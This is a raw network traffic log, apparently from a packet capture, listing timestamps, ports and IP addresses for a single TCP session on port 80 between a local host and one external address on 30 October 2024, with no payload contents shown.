Oct 30, 2024 04:35:47.193697929 CET	49999	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:35:47.193769932 CET	80	49999	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:47.193784952 CET	80	49999	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:47.193800926 CET	80	49999	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:47.193816900 CET	49999	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:35:47.193836927 CET	49999	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:35:47.193845987 CET	80	49999	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:47.193857908 CET	49999	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:35:47.193861008 CET	80	49999	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:47.193877935 CET	80	49999	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:47.193892002 CET	49999	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:35:47.193893909 CET	80	49999	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:47.193911076 CET	49999	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:35:47.193944931 CET	49999	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:35:47.193995953 CET	80	49999	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:47.194027901 CET	80	49999	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:47.194042921 CET	80	49999	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:47.194047928 CET	49999	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:35:47.194056988 CET	80	49999	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:47.194071054 CET	80	49999	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:47.194082975 CET	49999	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:35:47.194087982 CET	80	49999	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:47.194103956 CET	49999	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:35:47.194103956 CET	80	49999	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:47.194120884 CET	80	49999	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:47.194138050 CET	80	49999	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:47.194148064 CET	49999	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:35:47.194168091 CET	49999	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:35:47.194231033 CET	80	49999	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:47.194247007 CET	80	49999	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:47.194262028 CET	80	49999	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:47.194276094 CET	49999	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:35:47.194304943 CET	49999	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:35:47.194329977 CET	49999	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:35:47.194364071 CET	80	49999	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:47.194397926 CET	80	49999	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:47.194413900 CET	80	49999	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:47.194427013 CET	49999	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:35:47.194430113 CET	80	49999	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:47.194444895 CET	80	49999	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:47.194447994 CET	49999	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:35:47.194459915 CET	80	49999	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:47.194468021 CET	49999	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:35:47.194475889 CET	80	49999	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:47.194492102 CET	80	49999	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:47.194505930 CET	49999	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:35:47.194506884 CET	80	49999	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:47.194530010 CET	80	49999	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:47.194531918 CET	49999	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:35:47.194547892 CET	80	49999	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:47.194556952 CET	49999	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:35:47.194562912 CET	80	49999	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:47.194578886 CET	49999	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:35:47.194641113 CET	49999	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:35:47.194694996 CET	80	49999	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:47.194726944 CET	80	49999	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:47.194742918 CET	80	49999	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:47.194744110 CET	49999	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:35:47.194781065 CET	49999	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:35:47.194803953 CET	49999	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:35:47.194834948 CET	80	49999	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:47.194849968 CET	80	49999	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:47.194873095 CET	80	49999	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:47.194888115 CET	80	49999	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:47.194900036 CET	49999	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:35:47.194905996 CET	80	49999	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:47.194947004 CET	49999	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:35:47.194953918 CET	80	49999	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:47.194963932 CET	49999	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:35:47.194969893 CET	80	49999	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:47.194987059 CET	80	49999	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:47.195005894 CET	49999	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:35:47.195029020 CET	49999	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:35:47.339452982 CET	80	49999	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:47.339489937 CET	80	49999	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:47.339514017 CET	80	49999	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:47.339530945 CET	80	49999	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:47.339545012 CET	80	49999	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:47.339559078 CET	80	49999	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:47.339570045 CET	49999	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:35:47.339570045 CET	49999	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:35:47.339576006 CET	80	49999	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:47.339607000 CET	49999	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:35:47.339626074 CET	49999	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:35:47.339632988 CET	80	49999	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:47.339648008 CET	80	49999	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:47.339664936 CET	80	49999	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:47.339680910 CET	80	49999	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:47.339690924 CET	49999	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:35:47.339698076 CET	80	49999	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:47.339728117 CET	49999	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:35:47.339741945 CET	80	49999	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:47.339745045 CET	49999	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:35:47.339762926 CET	80	49999	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:47.339778900 CET	80	49999	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:47.339804888 CET	49999	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:35:47.339804888 CET	49999	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:35:47.339829922 CET	49999	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:35:47.339854956 CET	80	49999	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:47.339885950 CET	80	49999	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:47.339900970 CET	80	49999	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:47.339911938 CET	49999	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:35:47.339915037 CET	80	49999	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:47.339956045 CET	49999	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:35:47.339956045 CET	49999	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:35:47.339975119 CET	49999	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:35:47.339978933 CET	80	49999	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:47.339993954 CET	80	49999	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:47.340008974 CET	80	49999	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:47.340025902 CET	80	49999	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:47.340029955 CET	49999	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:35:47.340042114 CET	80	49999	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:47.340074062 CET	49999	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:35:47.340095997 CET	80	49999	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:47.340107918 CET	49999	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:35:47.340142012 CET	49999	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:35:47.340178013 CET	80	49999	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:47.340192080 CET	80	49999	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:47.340208054 CET	80	49999	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:47.340224028 CET	80	49999	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:47.340235949 CET	49999	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:35:47.340276957 CET	49999	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:35:47.340313911 CET	80	49999	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:47.340328932 CET	80	49999	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:47.340344906 CET	80	49999	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:47.340357065 CET	49999	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:35:47.340359926 CET	80	49999	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:47.340392113 CET	80	49999	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:47.340406895 CET	49999	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:35:47.340418100 CET	80	49999	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:47.340435028 CET	80	49999	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:47.340447903 CET	49999	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:35:47.340467930 CET	49999	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:35:47.340478897 CET	80	49999	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:47.340493917 CET	80	49999	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:47.340498924 CET	49999	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:35:47.340507984 CET	80	49999	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:47.340521097 CET	49999	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:35:47.340523005 CET	80	49999	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:47.340540886 CET	49999	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:35:47.340562105 CET	49999	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:35:47.340678930 CET	80	49999	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:47.340693951 CET	80	49999	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:47.340709925 CET	80	49999	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:47.340718031 CET	80	49999	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:47.340727091 CET	49999	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:35:47.340734959 CET	80	49999	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:47.340749025 CET	80	49999	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:47.340764046 CET	80	49999	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:47.340766907 CET	49999	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:35:47.340780020 CET	80	49999	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:47.340807915 CET	49999	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:35:47.340832949 CET	49999	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:35:47.340873003 CET	80	49999	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:47.340890884 CET	80	49999	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:47.340907097 CET	80	49999	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:47.340920925 CET	80	49999	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:47.340931892 CET	49999	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:35:47.340936899 CET	80	49999	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:47.340950966 CET	80	49999	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:47.340953112 CET	49999	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:35:47.340985060 CET	49999	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:35:47.341011047 CET	80	49999	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:47.341017962 CET	49999	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:35:47.341027975 CET	80	49999	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:47.341042995 CET	80	49999	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:47.341058016 CET	80	49999	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:47.341072083 CET	49999	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:35:47.341099024 CET	49999	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:35:47.341154099 CET	80	49999	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:47.341166973 CET	80	49999	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:47.341187954 CET	80	49999	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:47.341204882 CET	80	49999	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:47.341212988 CET	49999	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:35:47.341218948 CET	80	49999	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:47.341233969 CET	80	49999	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:47.341234922 CET	49999	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:35:47.341249943 CET	80	49999	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:47.341263056 CET	80	49999	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:47.341294050 CET	49999	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:35:47.341320992 CET	49999	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:35:47.341339111 CET	80	49999	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:47.341351986 CET	80	49999	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:47.341366053 CET	80	49999	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:47.341382027 CET	80	49999	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:47.341394901 CET	80	49999	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:47.341399908 CET	49999	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:35:47.341413021 CET	80	49999	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:47.341425896 CET	80	49999	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:47.341440916 CET	80	49999	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:47.341455936 CET	49999	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:35:47.341455936 CET	49999	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:35:47.341481924 CET	49999	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:35:47.341540098 CET	80	49999	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:47.341552973 CET	80	49999	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:47.341566086 CET	80	49999	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:47.341581106 CET	80	49999	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:47.341593981 CET	80	49999	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:47.341605902 CET	49999	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:35:47.341609001 CET	80	49999	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:47.341624022 CET	80	49999	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:47.341625929 CET	49999	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:35:47.341653109 CET	49999	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:35:47.341681957 CET	49999	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:35:47.341702938 CET	80	49999	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:47.341717005 CET	80	49999	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:47.341730118 CET	80	49999	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:47.341746092 CET	80	49999	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:47.341752052 CET	49999	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:35:47.341758966 CET	80	49999	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:47.341774940 CET	80	49999	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:47.341789007 CET	49999	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:35:47.341789961 CET	80	49999	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:47.341836929 CET	49999	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:35:47.341854095 CET	49999	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:35:47.341860056 CET	80	49999	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:47.341881037 CET	80	49999	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:47.341896057 CET	80	49999	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:47.341907024 CET	49999	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:35:47.341911077 CET	80	49999	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:47.341926098 CET	80	49999	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:47.341928005 CET	49999	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:35:47.341941118 CET	80	49999	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:47.341945887 CET	49999	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:35:47.341955900 CET	80	49999	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:47.341965914 CET	49999	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:35:47.342006922 CET	49999	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:35:47.342027903 CET	80	49999	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:47.342042923 CET	80	49999	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:47.342070103 CET	49999	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:35:47.342102051 CET	49999	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:35:47.342156887 CET	80	49999	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:47.342173100 CET	80	49999	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:47.342186928 CET	80	49999	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:47.342202902 CET	80	49999	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:47.342216969 CET	49999	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:35:47.342217922 CET	80	49999	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:47.342216969 CET	49999	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:35:47.342236042 CET	80	49999	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:47.342245102 CET	49999	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:35:47.342252016 CET	80	49999	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:47.342267990 CET	80	49999	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:47.342281103 CET	49999	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:35:47.342283010 CET	80	49999	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:47.342300892 CET	80	49999	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:47.342302084 CET	49999	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:35:47.342315912 CET	80	49999	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:47.342345953 CET	49999	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:35:47.342382908 CET	49999	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:35:47.342425108 CET	80	49999	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:47.342438936 CET	80	49999	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:47.342489004 CET	49999	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:35:47.342514992 CET	80	49999	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:47.342526913 CET	80	49999	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:47.342549086 CET	80	49999	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:47.342561960 CET	49999	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:35:47.342566013 CET	80	49999	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:47.342581987 CET	80	49999	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:47.342597008 CET	80	49999	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:47.342600107 CET	49999	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:35:47.342645884 CET	49999	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:35:47.344057083 CET	80	49999	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:47.344070911 CET	80	49999	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:47.344085932 CET	80	49999	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:47.344110012 CET	49999	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:35:47.344122887 CET	80	49999	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:47.344136953 CET	80	49999	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:47.344151974 CET	49999	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:35:47.344152927 CET	80	49999	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:47.344208956 CET	49999	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:35:47.344208956 CET	49999	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:35:47.344300032 CET	80	49999	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:47.344376087 CET	80	49999	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:47.344377995 CET	49999	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:35:47.344408989 CET	80	49999	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:47.344425917 CET	80	49999	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:47.344430923 CET	49999	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:35:47.344440937 CET	80	49999	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:47.344465971 CET	49999	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:35:47.344479084 CET	80	49999	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:47.344512939 CET	49999	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:35:47.344516039 CET	80	49999	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:47.344531059 CET	80	49999	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:47.344544888 CET	49999	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:35:47.344561100 CET	80	49999	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:47.344575882 CET	80	49999	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:47.344580889 CET	49999	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:35:47.344582081 CET	49999	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:35:47.344599962 CET	49999	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:35:47.344623089 CET	49999	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:35:47.344626904 CET	80	49999	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:47.344641924 CET	80	49999	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:47.344677925 CET	80	49999	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:47.344681978 CET	49999	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:35:47.344690084 CET	80	49999	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:47.344702959 CET	49999	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:35:47.344705105 CET	80	49999	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:47.344722986 CET	49999	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:35:47.344738960 CET	49999	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:35:47.344774961 CET	49999	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:35:47.344799995 CET	80	49999	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:47.344815016 CET	80	49999	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:47.344831944 CET	80	49999	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:47.344844103 CET	49999	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:35:47.344846964 CET	80	49999	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:47.344863892 CET	80	49999	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:47.344865084 CET	49999	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:35:47.344877958 CET	80	49999	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:47.344882011 CET	49999	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:35:47.344911098 CET	49999	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:35:47.344948053 CET	80	49999	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:47.344948053 CET	49999	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:35:47.344971895 CET	80	49999	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:47.344986916 CET	80	49999	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:47.345000029 CET	49999	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:35:47.345010042 CET	80	49999	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:47.345026016 CET	80	49999	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:47.345038891 CET	49999	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:35:47.345074892 CET	49999	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:35:47.345101118 CET	80	49999	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:47.345114946 CET	80	49999	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:47.345129013 CET	80	49999	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:47.345141888 CET	80	49999	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:47.345144987 CET	49999	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:35:47.345158100 CET	80	49999	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:47.345184088 CET	49999	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:35:47.345216990 CET	49999	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:35:47.345251083 CET	80	49999	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:47.345283985 CET	80	49999	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:47.345299006 CET	80	49999	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:47.345314026 CET	80	49999	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:47.345329046 CET	80	49999	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:47.345340014 CET	49999	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:35:47.345343113 CET	80	49999	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:47.345359087 CET	80	49999	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:47.345360041 CET	49999	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:35:47.345376015 CET	80	49999	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:47.345380068 CET	49999	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:35:47.345391035 CET	80	49999	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:47.345407009 CET	80	49999	185.215.113.16	192.168.2.7
